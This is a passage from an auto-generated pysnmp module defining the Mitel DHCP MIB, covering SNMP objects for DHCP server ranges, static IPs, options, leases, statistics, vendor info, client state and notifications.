mitelDhcpServerRangeStart = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 1), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpServerRangeStart.setStatus('current')
mitelDhcpServerRangeEnd = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 2), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpServerRangeEnd.setStatus('current')
mitelDhcpServerRangeSubnet = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 3), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpServerRangeSubnet.setStatus('current')
mitelDhcpServerRangeProtocol = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 4), MitelDhcpServerProtocol()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpServerRangeProtocol.setStatus('current')
mitelDhcpServerRangeGateway = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 5), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("this-if-first", 1), ("this-if-last", 2), ("not-this-if", 3), ("default", 4)))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpServerRangeGateway.setStatus('current')
mitelDhcpServerRangeLeaseTime = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 6), Integer32()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpServerRangeLeaseTime.setStatus('current')
mitelDhcpServerRangeName = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 7), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 16))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpServerRangeName.setStatus('current')
mitelDhcpServerRangeMatchClassId = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 8), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2)))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpServerRangeMatchClassId.setStatus('current')
mitelDhcpServerRangeDeleteTree = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 9), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2)))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpServerRangeDeleteTree.setStatus('current')
mitelDhcpServerRangeStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 10), RowStatus()).setMaxAccess("readcreate")
if mibBuilder.loadTexts: mitelDhcpServerRangeStatus.setStatus('current')
mitelDhcpServerStaticIpTable = MibTable((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4), )
if mibBuilder.loadTexts: mitelDhcpServerStaticIpTable.setStatus('current')
mitelDhcpServerStaticIpEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1), ).setIndexNames((0, "MITEL-DHCP-MIB", "mitelDhcpServerStaticIpAddr"), (0, "MITEL-DHCP-MIB", "mitelDhcpServerStaticIpSubnet"))
if mibBuilder.loadTexts: mitelDhcpServerStaticIpEntry.setStatus('current')
mitelDhcpServerStaticIpAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 1), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpServerStaticIpAddr.setStatus('current')
mitelDhcpServerStaticIpSubnet = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 2), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpServerStaticIpSubnet.setStatus('current')
mitelDhcpServerStaticIpProtocol = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 3), MitelDhcpServerProtocol()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpServerStaticIpProtocol.setStatus('current')
mitelDhcpServerStaticIpGateway = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("this-if-first", 1), ("this-if-last", 2), ("not-this-if", 3), ("default", 4)))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpServerStaticIpGateway.setStatus('current')
mitelDhcpServerStaticIpMacAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 5), OctetString().subtype(subtypeSpec=ValueSizeConstraint(1, 255))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpServerStaticIpMacAddress.setStatus('current')
mitelDhcpServerStaticIpClientId = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 6), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpServerStaticIpClientId.setStatus('current')
mitelDhcpServerStaticIpName = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 7), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 16))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpServerStaticIpName.setStatus('current')
mitelDhcpServerStaticIpDeleteTree = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 8), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2)))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpServerStaticIpDeleteTree.setStatus('current')
mitelDhcpServerStaticIpStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 9), RowStatus()).setMaxAccess("readcreate")
if mibBuilder.loadTexts: mitelDhcpServerStaticIpStatus.setStatus('current')
mitelDhcpServerOptionTable = MibTable((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 5), )
if mibBuilder.loadTexts: mitelDhcpServerOptionTable.setStatus('current')
mitelDhcpServerOptionEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 5, 1), ).setIndexNames((0, "MITEL-DHCP-MIB", "mitelDhcpServerOptionAddr"), (0, "MITEL-DHCP-MIB", "mitelDhcpServerOptionNumber"))
if mibBuilder.loadTexts: mitelDhcpServerOptionEntry.setStatus('current')
mitelDhcpServerOptionAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 5, 1, 1), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpServerOptionAddr.setStatus('current')
mitelDhcpServerOptionNumber = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 5, 1, 2), MitelDhcpServerOptionList()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpServerOptionNumber.setStatus('current')
mitelDhcpServerOptionDisplayFormat = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 5, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("default", 1), ("ip-address", 2), ("ascii-string", 3), ("integer", 4), ("octet-string", 5)))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpServerOptionDisplayFormat.setStatus('current')
mitelDhcpServerOptionValue = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 5, 1, 4), OctetString().subtype(subtypeSpec=ValueSizeConstraint(1, 255))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpServerOptionValue.setStatus('current')
mitelDhcpServerOptionStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 5, 1, 5), RowStatus()).setMaxAccess("readcreate")
if mibBuilder.loadTexts: mitelDhcpServerOptionStatus.setStatus('current')
mitelDhcpServerLeaseTable = MibTable((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6), )
if mibBuilder.loadTexts: mitelDhcpServerLeaseTable.setStatus('current')
mitelDhcpServerLeaseEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1), ).setIndexNames((0, "MITEL-DHCP-MIB", "mitelDhcpServerLeaseAddr"))
if mibBuilder.loadTexts: mitelDhcpServerLeaseEntry.setStatus('current')
mitelDhcpServerLeaseAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 1), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpServerLeaseAddr.setStatus('current')
mitelDhcpServerLeaseSubnet = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 2), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpServerLeaseSubnet.setStatus('current')
mitelDhcpServerLeaseRange = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 3), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpServerLeaseRange.setStatus('current')
mitelDhcpServerLeaseType = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("static", 1), ("dynamic", 2), ("configuration-reserved", 3), ("server-reserved", 4)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpServerLeaseType.setStatus('current')
mitelDhcpServerLeaseEndTime = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 5), TimeTicks()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpServerLeaseEndTime.setStatus('current')
mitelDhcpServerLeaseAllowedProtocol = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("none", 1), ("bootp", 2), ("dhcp", 3), ("bootp-or-dhcp", 4)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpServerLeaseAllowedProtocol.setStatus('current')
mitelDhcpServerLeaseServedProtocol = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 7), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("none", 1), ("bootp", 2), ("dhcp", 3)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpServerLeaseServedProtocol.setStatus('current')
mitelDhcpServerLeaseMacAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 8), OctetString().subtype(subtypeSpec=ValueSizeConstraint(1, 255))).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpServerLeaseMacAddress.setStatus('current')
mitelDhcpServerLeaseClientId = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 9), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpServerLeaseClientId.setStatus('current')
mitelDhcpServerLeaseHostName = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 10), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(0, 64))).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpServerLeaseHostName.setStatus('current')
mitelDhcpServerLeaseDomainName = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 11), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpServerLeaseDomainName.setStatus('current')
mitelDhcpServerLeaseServedTime = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 12), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpServerLeaseServedTime.setStatus('current')
mitelDhcpServerLeaseStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 13), RowStatus()).setMaxAccess("readcreate")
if mibBuilder.loadTexts: mitelDhcpServerLeaseStatus.setStatus('current')
mitelDhcpServerStatsGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 7))
mitelDhcpServerStatsNumServers = MibScalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 7, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpServerStatsNumServers.setStatus('current')
mitelDhcpServerStatsConfSubnets = MibScalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 7, 2), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpServerStatsConfSubnets.setStatus('current')
mitelDhcpServerStatsConfRanges = MibScalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 7, 3), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpServerStatsConfRanges.setStatus('current')
mitelDhcpServerStatsConfStatic = MibScalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 7, 4), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpServerStatsConfStatic.setStatus('current')
mitelDhcpServerStatsConfOptions = MibScalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 7, 5), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpServerStatsConfOptions.setStatus('current')
mitelDhcpServerStatsConfLeases = MibScalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 7, 6), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpServerStatsConfLeases.setStatus('current')
mitelDhcpServerVendorInfoTable = MibTable((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 8), )
if mibBuilder.loadTexts: mitelDhcpServerVendorInfoTable.setStatus('current')
mitelDhcpServerVendorInfoEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 8, 1), ).setIndexNames((0, "MITEL-DHCP-MIB", "mitelDhcpServerOptionAddr"), (0, "MITEL-DHCP-MIB", "mitelDhcpServerOptionNumber"), (0, "MITEL-DHCP-MIB", "mitelDhcpServerVendorInfoID"))
if mibBuilder.loadTexts: mitelDhcpServerVendorInfoEntry.setStatus('current')
mitelDhcpServerVendorInfoID = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 8, 1, 1), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 32))).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpServerVendorInfoID.setStatus('current')
mitelDhcpServerVendorInfoName = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 8, 1, 2), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 32))).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpServerVendorInfoName.setStatus('current')
mitelDhcpServerVendorInfoOptionDisplayFormat = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 8, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("default", 1), ("ip-address", 2), ("ascii-string", 3), ("integer", 4), ("octet-string", 5)))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpServerVendorInfoOptionDisplayFormat.setStatus('current')
mitelDhcpServerVendorInfoOptionValue = MibScalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 8, 1, 4), OctetString().subtype(subtypeSpec=ValueSizeConstraint(1, 255))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpServerVendorInfoOptionValue.setStatus('current')
mitelDhcpServerVendorInfoStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 8, 1, 5), RowStatus()).setMaxAccess("readcreate")
if mibBuilder.loadTexts: mitelDhcpServerVendorInfoStatus.setStatus('current')
mitelDhcpClientTable = MibTable((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6), )
if mibBuilder.loadTexts: mitelDhcpClientTable.setStatus('current')
mitelDhcpClientEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1), ).setIndexNames((0, "MITEL-DHCP-MIB", "mitelDhcpClientIndex"))
if mibBuilder.loadTexts: mitelDhcpClientEntry.setStatus('current')
mitelDhcpClientIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpClientIndex.setStatus('current')
mitelDhcpClientId = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 2), OctetString()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpClientId.setStatus('current')
mitelDhcpClientLeaseAction = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("none", 1), ("release", 2), ("renew", 3)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpClientLeaseAction.setStatus('current')
mitelDhcpClientIpAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 4), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpClientIpAddress.setStatus('current')
mitelDhcpClientLeaseObtained = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 5), TimeTicks()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpClientLeaseObtained.setStatus('current')
mitelDhcpClientLeaseExpired = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 6), TimeTicks()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpClientLeaseExpired.setStatus('current')
mitelDhcpClientDefaultGateway = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 7), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpClientDefaultGateway.setStatus('current')
mitelDhcpClientServerIp = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 8), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpClientServerIp.setStatus('current')
mitelDhcpClientPrimaryDns = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 9), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpClientPrimaryDns.setStatus('current')
mitelDhcpClientSecondaryDns = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 10), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpClientSecondaryDns.setStatus('current')
mitelDhcpClientPrimaryWins = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 11), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpClientPrimaryWins.setStatus('current')
mitelDhcpClientSecondaryWins = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 12), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpClientSecondaryWins.setStatus('current')
mitelDhcpClientDomainName = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 13), OctetString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpClientDomainName.setStatus('current')
mitelDhcpClientName = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 14), OctetString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpClientName.setStatus('current')
mitelDhcpClientAdminState = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 15), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpClientAdminState.setStatus('current')
mitelIpera1000Notifications = NotificationGroup((1, 3, 6, 1, 4, 1, 1027, 1, 2, 4, 0)).setObjects(("MITEL-DHCP-MIB", "mitelDhcpClientObtainedIp"), ("MITEL-DHCP-MIB", "mitelDhcpClientLeaseExpiry"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
mitelIpera1000Notifications = mitelIpera1000Notifications.setStatus('current')
mitelDhcpClientObtainedIp = NotificationType((1, 3, 6, 1, 4, 1, 1027, 1, 2, 4, 0, 404)).setObjects(("MITEL-DHCP-MIB", "mitelDhcpClientIndex"), ("MITEL-DHCP-MIB", "mitelDhcpClientIpAddress"), ("MITEL-DHCP-MIB", "mitelDhcpClientServerIp"))
if mibBuilder.loadTexts: mitelDhcpClientObtainedIp.setStatus('current')
mitelDhcpClientLeaseExpiry = NotificationType((1, 3, 6, 1, 4, 1, 1027, 1, 2, 4, 0, 405)).setObjects(("MITEL-DHCP-MIB", "mitelDhcpClientIndex"))
if mibBuilder.loadTexts: mitelDhcpClientLeaseExpiry.setStatus('current')
mibBuilder.exportSymbols("MITEL-DHCP-MIB", mitelDhcpServerLeaseDomainName=mitelDhcpServerLeaseDomainName, mitelDhcpServerRangeSubnet=mitelDhcpServerRangeSubnet, mitelDhcpRelayAgentServerTable=mitelDhcpRelayAgentServerTable, mitelDhcpRelayAgentMaxHops=mitelDhcpRelayAgentMaxHops, mitelDhcpServerRangeGateway=mitelDhcpServerRangeGateway, mitelDhcpServerStaticIpTable=mitelDhcpServerStaticIpTable, mitelDhcpServerRangeStart=mitelDhcpServerRangeStart, mitelDhcpServerVendorInfoOptionValue=mitelDhcpServerVendorInfoOptionValue, mitelDhcpClientLeaseExpired=mitelDhcpClientLeaseExpired, mitelDhcpServerRangeEnd=mitelDhcpServerRangeEnd, mitelDhcpServerSubnetStatus=mitelDhcpServerSubnetStatus, mitelDhcpClientId=mitelDhcpClientId, mitelDhcpClientPrimaryDns=mitelDhcpClientPrimaryDns, mitelDhcpClientLeaseExpiry=mitelDhcpClientLeaseExpiry, mitelDhcpServerStaticIpDeleteTree=mitelDhcpServerStaticIpDeleteTree, mitel=mitel, mitelDhcpServerVendorInfoID=mitelDhcpServerVendorInfoID, mitelDhcpServerLeaseAddr=mitelDhcpServerLeaseAddr, mitelDhcpServerLeaseMacAddress=mitelDhcpServerLeaseMacAddress, mitelDhcpServerOptionEntry=mitelDhcpServerOptionEntry, mitelDhcpServerLeaseTable=mitelDhcpServerLeaseTable, mitelDhcpClientEntry=mitelDhcpClientEntry, mitelDhcpClientIndex=mitelDhcpClientIndex, mitelDhcpServerStatsGroup=mitelDhcpServerStatsGroup, mitelDhcpRelayAgentServerName=mitelDhcpRelayAgentServerName, mitelDhcpRelayAgentServerAddr=mitelDhcpRelayAgentServerAddr, mitelDhcpServerRangeLeaseTime=mitelDhcpServerRangeLeaseTime, mitelIdentification=mitelIdentification, mitelDhcpServerSubnetGateway=mitelDhcpServerSubnetGateway, mitelDhcpServerStatsConfRanges=mitelDhcpServerStatsConfRanges, mitelDhcpServerRangeStatus=mitelDhcpServerRangeStatus, mitelDhcpClientSecondaryDns=mitelDhcpClientSecondaryDns, mitelProprietary=mitelProprietary, mitelDhcpServerGroup=mitelDhcpServerGroup, mitelDhcpServerVendorInfoName=mitelDhcpServerVendorInfoName, mitelDhcpServerOptionStatus=mitelDhcpServerOptionStatus, mitelDhcpServerStatsConfStatic=mitelDhcpServerStatsConfStatic, mitelDhcpServerSubnetEntry=mitelDhcpServerSubnetEntry, mitelDhcpClientDomainName=mitelDhcpClientDomainName, mitelDhcpServerGeneralRefDhcpServer=mitelDhcpServerGeneralRefDhcpServer, mitelDhcpClientAdminState=mitelDhcpClientAdminState, mitelDhcpClientObtainedIp=mitelDhcpClientObtainedIp, mitelDhcpServerStatsConfLeases=mitelDhcpServerStatsConfLeases, mitelDhcpServerStaticIpSubnet=mitelDhcpServerStaticIpSubnet, mitelDhcpServerSubnetAddr=mitelDhcpServerSubnetAddr, mitelDhcpServerLeaseHostName=mitelDhcpServerLeaseHostName, mitelPropIpNetworking=mitelPropIpNetworking, mitelDhcpServerLeaseEntry=mitelDhcpServerLeaseEntry, mitelRouterDhcpGroup=mitelRouterDhcpGroup, mitelDhcpRelayAgentEnable=mitelDhcpRelayAgentEnable, mitelDhcpServerVendorInfoOptionDisplayFormat=mitelDhcpServerVendorInfoOptionDisplayFormat, mitelDhcpServerOptionTable=mitelDhcpServerOptionTable, mitelDhcpServerOptionNumber=mitelDhcpServerOptionNumber, mitelDhcpServerOptionAddr=mitelDhcpServerOptionAddr, mitelIpNetRouter=mitelIpNetRouter, mitelDhcpClientSecondaryWins=mitelDhcpClientSecondaryWins, mitelDhcpServerStaticIpClientId=mitelDhcpServerStaticIpClientId, mitelDhcpServerStaticIpEntry=mitelDhcpServerStaticIpEntry, mitelDhcpRelayAgentBroadcast=mitelDhcpRelayAgentBroadcast, mitelDhcpRelayAgentServerEntry=mitelDhcpRelayAgentServerEntry, mitelDhcpServerLeaseStatus=mitelDhcpServerLeaseStatus, mitelDhcpClientDefaultGateway=mitelDhcpClientDefaultGateway, mitelDhcpClientLeaseObtained=mitelDhcpClientLeaseObtained, mitelDhcpServerStaticIpMacAddress=mitelDhcpServerStaticIpMacAddress, mitelDhcpServerRangeName=mitelDhcpServerRangeName, mitelDhcpServerStaticIpAddr=mitelDhcpServerStaticIpAddr, mitelIdCallServers=mitelIdCallServers, mitelDhcpServerLeaseClientId=mitelDhcpServerLeaseClientId, mitelDhcpClientLeaseAction=mitelDhcpClientLeaseAction, mitelDhcpRelayAgentServerStatus=mitelDhcpRelayAgentServerStatus, mitelDhcpClientName=mitelDhcpClientName, mitelIdCsIpera1000=mitelIdCsIpera1000, mitelDhcpServerRangeTable=mitelDhcpServerRangeTable, mitelDhcpServerStaticIpStatus=mitelDhcpServerStaticIpStatus, mitelDhcpServerLeaseEndTime=mitelDhcpServerLeaseEndTime, mitelDhcpServerLeaseRange=mitelDhcpServerLeaseRange, mitelDhcpServerOptionValue=mitelDhcpServerOptionValue, mitelDhcpServerLeaseSubnet=mitelDhcpServerLeaseSubnet, mitelDhcpServerStaticIpName=mitelDhcpServerStaticIpName, mitelDhcpServerVendorInfoStatus=mitelDhcpServerVendorInfoStatus, MitelDhcpServerProtocol=MitelDhcpServerProtocol, mitelDhcpServerSubnetName=mitelDhcpServerSubnetName, mitelDhcpServerLeaseAllowedProtocol=mitelDhcpServerLeaseAllowedProtocol, mitelDhcpClientIpAddress=mitelDhcpClientIpAddress, mitelDhcpServerLeaseType=mitelDhcpServerLeaseType, mitelDhcpClientServerIp=mitelDhcpClientServerIp, mitelDhcpServerStatsNumServers=mitelDhcpServerStatsNumServers, mitelDhcpServerSubnetMask=mitelDhcpServerSubnetMask, mitelDhcpServerStatsConfSubnets=mitelDhcpServerStatsConfSubnets, mitelDhcpClientTable=mitelDhcpClientTable, mitelDhcpServerStaticIpGateway=mitelDhcpServerStaticIpGateway, mitelDhcpServerSubnetTable=mitelDhcpServerSubnetTable, mitelDhcpServerRangeEntry=mitelDhcpServerRangeEntry, mitelDhcpServerSubnetDeleteTree=mitelDhcpServerSubnetDeleteTree, mitelDhcpServerSubnetSharedNet=mitelDhcpServerSubnetSharedNet, PYSNMP_MODULE_ID=mitelRouterDhcpGroup, mitelDhcpClientPrimaryWins=mitelDhcpClientPrimaryWins, mitelDhcpServerGeneralEnable=mitelDhcpServerGeneralEnable, mitelIpera1000Notifications=mitelIpera1000Notifications, mitelDhcpServerLeaseServedTime=mitelDhcpServerLeaseServedTime, mitelDhcpServerRangeMatchClassId=mitelDhcpServerRangeMatchClassId, mitelDhcpServerStatsConfOptions=mitelDhcpServerStatsConfOptions, mitelDhcpServerVendorInfoTable=mitelDhcpServerVendorInfoTable, mitelDhcpServerRangeDeleteTree=mitelDhcpServerRangeDeleteTree, mitelDhcpServerStaticIpProtocol=mitelDhcpServerStaticIpProtocol, mitelDhcpServerLeaseServedProtocol=mitelDhcpServerLeaseServedProtocol, 